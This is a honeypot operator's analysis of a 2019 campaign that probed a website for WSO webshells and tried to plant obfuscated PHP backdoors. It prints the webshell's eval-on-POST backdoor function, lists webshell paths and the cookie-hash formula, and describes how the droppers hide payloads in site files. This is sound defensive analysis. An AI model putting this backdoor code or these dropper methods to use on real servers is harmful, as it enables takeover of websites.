A Vigilance Committee campaign from many IP addresses, targeting many URLs on my web site. The campaign includes coordinated probing and attacks.
19 HTTP requests from 19 different IP addresses arrived between 2019-06-30T03:58:30.933-0600 and 2019-06-30T04:00:48.697-0600, over a timespan of 2 minutes and 18 seconds. Every request arrived with a cookie with name and value of "227e948fdbaaeccbbb7b3f42fbe848e8", or "7a017e28704d15b0d8efe38606806610" These strings are the result of this hash function:
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
Some of the HTTP requests use "www.stratigery.com",
others use "stratigery.com".
The $auth_token
hash is appropriate for the host name used in each requst.
This cookie name and value is what the Vigilante Malware Cleaner writes into PHP files it identifies as WSO instances, and that's why I'm identifiying this attack as a Vigilance Committee campaign.
The campaign would have installed 5 v1-01 extendable backdoors, and a file installer backdoor.
Timestamp | From IP address | DNS Name | From TCP port | p0f3 OS guess |
---|---|---|---|---|
2019-06-30T03:58:30.933-0600 | 192.111.154.98 | none | 63360 | Linux 3.11 and newer |
2019-06-30T03:58:32.007-0600 | 192.185.131.125 | mx48.hostgator.mx | 10700 | Linux 3.11 and newer |
2019-06-30T03:59:13.079-0600 | 115.29.99.145 | none | 49323 | Linux 2.6.x |
2019-06-30T03:59:53.019-0600 | 50.87.144.172 | gator3136.hostgator.com | 17226 | Linux 3.11 and newer |
2019-06-30T04:00:33.042-0600 | 47.254.89.228 | none | 35294 | Linux 3.11 and newer |
2019-06-30T04:00:34.109-0600 | 50.87.144.192 | sknnaturals.com | 39026 | Linux 3.11 and newer |
2019-06-30T04:00:34.839-0600 | 162.251.80.12 | cp-1.webhostbox.net | 34540 | Linux 3.11 and newer |
2019-06-30T04:00:35.773-0600 | 198.57.247.245 | gator3281.hostgator.com | 24452 | Linux 3.11 and newer |
2019-06-30T04:00:36.628-0600 | 94.46.168.170 | cp85.webserver.pt | 54096 | Linux 3.11 and newer |
2019-06-30T04:00:38.237-0600 | 69.89.31.97 | box297.bluehost.com | 39935 | Linux 3.11 and newer |
2019-06-30T04:00:38.753-0600 | 67.220.182.98 | zanskar.iabhost.com | 43348 | Linux 3.11 and newer |
2019-06-30T04:00:39.339-0600 | 108.167.189.44 | searscommercial.us | 28231 | Linux 3.11 and newer |
2019-06-30T04:00:41.477-0600 | 69.195.124.155 | box955.bluehost.com | 38833 | Linux 3.11 and newer |
2019-06-30T04:00:43.035-0600 | 210.211.125.204 | none | 41648 | Linux 3.11 and newer |
2019-06-30T04:00:44.099-0600 | 192.185.2.118 | accord.websitewelcome.com | 44723 | Linux 3.11 and newer |
2019-06-30T04:00:45.974-0600 | 50.87.248.201 | box1201.bluehost.com | 56105 | Linux 3.11 and newer |
2019-06-30T04:00:47.275-0600 | 162.241.244.141 | box5202.bluehost.com | 58662 | Linux 3.11 and newer |
2019-06-30T04:00:48.697-0600 | 192.185.4.87 | gator4076.hostgator.com | 12388 | Linux 3.11 and newer |
p0f3 thinks that Linux drives all those IP addresses. The remote TCP port numbers range from 10700 to 63360. This is outside the usual Linux ephemeral port range of 32768 to 60999, both above and below. It's not hard to tune the ephemeral port range, it just isn't done much, I believe.
From IP address | Content-Type | Accept-Language | Connection | User-Agent |
---|---|---|---|---|
192.111.154.98 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36 |
192.185.131.125 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 |
115.29.99.145 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063 | |
50.87.144.172 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 |
47.254.89.228 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1 | |
50.87.144.192 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 |
162.251.80.12 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1 | |
198.57.247.245 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1 | |
94.46.168.170 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 | |
69.89.31.97 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 |
67.220.182.98 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1 | |
108.167.189.44 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko |
69.195.124.155 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 |
210.211.125.204 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
192.185.2.118 | application/x-www-form-urlencoded | en-US,en;q=0.8 | close | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 |
50.87.248.201 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko | |
162.241.244.141 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko | |
192.185.4.87 | application/x-www-form-urlencoded | en-US,en;q=0.8 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko |
Every URL invoked as HTTP/1.0, highly unlikely these are browser requests, they universally use HTTP/1.1 unless told otherwise. It appears that some of the requests came with a "Connection: close" header. That's not at all common to send with HTTP/1.0. All HTTP servers probably ignore it.
All User Agents are probably rubbish, given how easy it is to change it curl
or PHP's curl library.
Nevertheless, it's interesting that the attacker(s) chose to apparently randomize a choice of 13
different User Agent strings.
Arrival Time | From IP Address | URL | p1 data present | RC recon response |
---|---|---|---|---|
2019-06-30T03:58:30.933-0600 | 192.111.154.98 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php | X | |
2019-06-30T03:58:32.007-0600 | 192.185.131.125 | /wp-content/uploads/2015/11/mod_arcweb.php | ||
2019-06-30T03:59:13.079-0600 | 115.29.99.145 | /wp-content/uploads/2015/11/mod_arcweb.php | ||
2019-06-30T03:59:53.019-0600 | 50.87.144.172 | /wp-content/uploads/2015/11/mod_arcweb.php | ||
2019-06-30T04:00:33.042-0600 | 47.254.89.228 | /blog/wp-content/themes/twentytwelve/404.php | X | |
2019-06-30T04:00:34.109-0600 | 50.87.144.192 | /wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php | X | |
2019-06-30T04:00:34.839-0600 | 162.251.80.12 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php | X | |
2019-06-30T04:00:35.773-0600 | 198.57.247.245 | /wp-content/plugins/apikey/settings.php | X | |
2019-06-30T04:00:36.628-0600 | 94.46.168.170 | /wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php | X | |
2019-06-30T04:00:38.237-0600 | 69.89.31.97 | /wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php | X | |
2019-06-30T04:00:38.753-0600 | 67.220.182.98 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php | X | |
2019-06-30T04:00:39.339-0600 | 108.167.189.44 | /blog/wp-content/plugins/wp_bing/wp-ajax.php | X | |
2019-06-30T04:00:41.477-0600 | 69.195.124.155 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php | X | |
2019-06-30T04:00:43.035-0600 | 210.211.125.204 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php | X | |
2019-06-30T04:00:44.099-0600 | 192.185.2.118 | /blog/wp-content/themes/twentytwelve/404.php | X | |
2019-06-30T04:00:45.974-0600 | 50.87.248.201 | /wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php | X | |
2019-06-30T04:00:47.275-0600 | 162.241.244.141 | /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php | X | |
2019-06-30T04:00:48.697-0600 | 192.185.4.87 | /wp-content/plugins/apikey/settings.php | X |
WSO's RC action is peculiar:
function actionRC()
{
if (!@$_POST['p1']) {
$a = array(
'uname' => php_uname(),
'php_version' => phpversion(),
'wso_version' => WSO_VERSION,
'safemode' => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
If WSO gets invoked with just a POST parameter named "a" with a value of "RC", WSO sends back valuable information about the compromised system, what version of PHP it runs, the version of WSO itself.
If WSO gets invoked with a POST parameter named "a" with a value of "RC", and a parameter named "p1" that contains PHP code, that PHP code gets immediately eval'ed.
This invocation of WSO is easily automated with curl
(or PHP's curl lib builtins),
serves as both quick recon,
and an immediate-evaluation backdoor.
My honey pot WSO emulator also emulates a number of other backdoors if it finds
it's invoked with specific URLs or with special parameters.
The 2019-06-30T03:58:32.007-0600, 2019-06-30T03:59:13.079-0600 and 2019-06-30T03:59:53.019-0600
invocations had a URL ending in mod_arcweb.php
.
My website is apparently named in some underground "sibpanel" shell lists as compromised
with a fack-and-key backdoor.
Many IP addresses invoke URLs ending in mod_arcweb.php
as a fack-and-key backdoor,
usually with a large amount of PHP to run,
and they're unusually aggressive about trying and retrying and retrying...
In order to not devote my web site as a backup server for these morons,
I've put a 120 second delay in my WSO emultor for fack-and-key URLs.
This delay apparently made the attacker(s) software think that if WSO was installed at
those URLs, it wasn't working, or WSO wasn't installed, or something.
It looks like 15 IP address, the attempts from 03:58:30.933-0600 to 4:00:39.339-060
probed for working WSO instances with HTTP parameters named "a", value "RC".
Because of dumb luck and poor coding on my part, 3 of those requests failed.
The 12 URLs probed-for actually amount to 7 unique URLs:
/blog/wp-content/plugins/wp_bing/wp-ajax.php
/blog/wp-content/themes/twentytwelve/404.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/db.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php
/wp-content/plugins/apikey/settings.php
Unfortunately, there's not a great match between the 7 unique URLs, and the URLs that had code sent to them. Two of the probed-for URLs are missing from the URLs to which code got sent.
/blog/wp-content/themes/twentytwelve/404.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/ps.php
/wordpress/wp-content/plugins/wp-mobile-detector/cache/dbd.php
/wp-content/plugins/apikey/settings.php
Even though it imperfectly matches the facts, I think that the attacker(s) had a list of URLs for what they believed were WSO installations, some of which did not work. They went through the list with one set of attacking machines, keeping track of machines that answered correctly to an HTTP POST with parameter "a" and value "RC". The URLs for WSO instances that answered correctly got passed to a second set of machines. The second set of machines try to download code to the WSO instances that are believed to be in working order.
Five of the code downloads have exactly the same code,
less the string assigned to the variable $payload_file
.
Both droppers are procedural dropper code,
similar to the dropper code of the code-in-cookie back door
and v1.0-1 extendable backdoor,
and more distantly, the object-oriented dropper
Both droppers start at Apache's DocumentRoot, and recursively traverse that directory tree to find suitable files or directories. There's a random selection of the final candidate file or directory.
Five out of six of the droppers "patch" the payload PHP in by prepending 512 ASCII space characters and the payload code to the contents of the candidate file.
The sixth dropper (sent by 210.211.125.204) simply overwrites the contents of the candidate file. The code of the sixth dropper has an easily-modified variable name for the candidate file - it can be modified to use a specific file name in the random directory it chooses, or it can choose a file that alread exists.
Both droppers notify the attacker(s) of the URL at which they can invoke the extendable backdoor with a line of PHP like this:
echo "URL#http://" . $full_uri . PHP_EOL;
In 5 of the 6 code-downloads, the dropper would leave behind v1-01 of the extendable backdoor, all custom-obfuscated for my viewing pleasure. Luckily they can be mostly automatically deobfuscated automatically.
My previous analysis of v1-01 missed the Vigilante cookie. I think I had not found the Vigilante Malware Cleaner when I found v1-01. The v1-01 previous campaign tried to invoke 5 URLs, all different than the URLs for this run:
/wp-content/themes/sketch/404.php
/wp-content/plugins/wp-db-ajax-made/wp-ajax.php
/wp-content/plugins/revslider/temp/update_extract/revslider/info.php
/wp-content/plugins/revslider/temp/update_extract/revslider/info.php
/wordpress/wp-content/uploads/wpallimport/uploads/f2af55ff3d3404c81a296c997348e8d1/db.php
Apparently I didn't notice if the previous v1-01 installation campaign did advance probing for working WSO instances.
The download from 210.211.125.204 is not a v1-01 extendable backdoor.
The sixth code-download (sent by 210.211.125.204) worked differently.
I hand-deobfuscated it, to produce a readable version.
The dropper puts the sixth code-download in place, and gives back its URL to the attacker(s).
The attackers invoke the sixth code-download with an HTTP POST,
and at least one parameter name and value.
Each parameter name gets used as an Xor-decoding key of the corresponding value,
after the value gets string-reversed and URL-decoded.
The result of the Xor-decoding is a serialized PHP key and value.
if this key and value are lexically equal,
the sixth code download sends back the result of phpversion()
.
If not, the sixth code download acts as a dropper,
finding a randomly-named file somewhere under Apache's DocumentRoot,
and writing the deserialized value of the key into that file.
Essentially a complicated backdoor that can shotgun PHP files all over
the compromised system's HTML/PHP directory tree.
My honey pot caught a similar campaign 2 weeks after this one. Looks like this style of campaign is something the attacker(s) do regularly.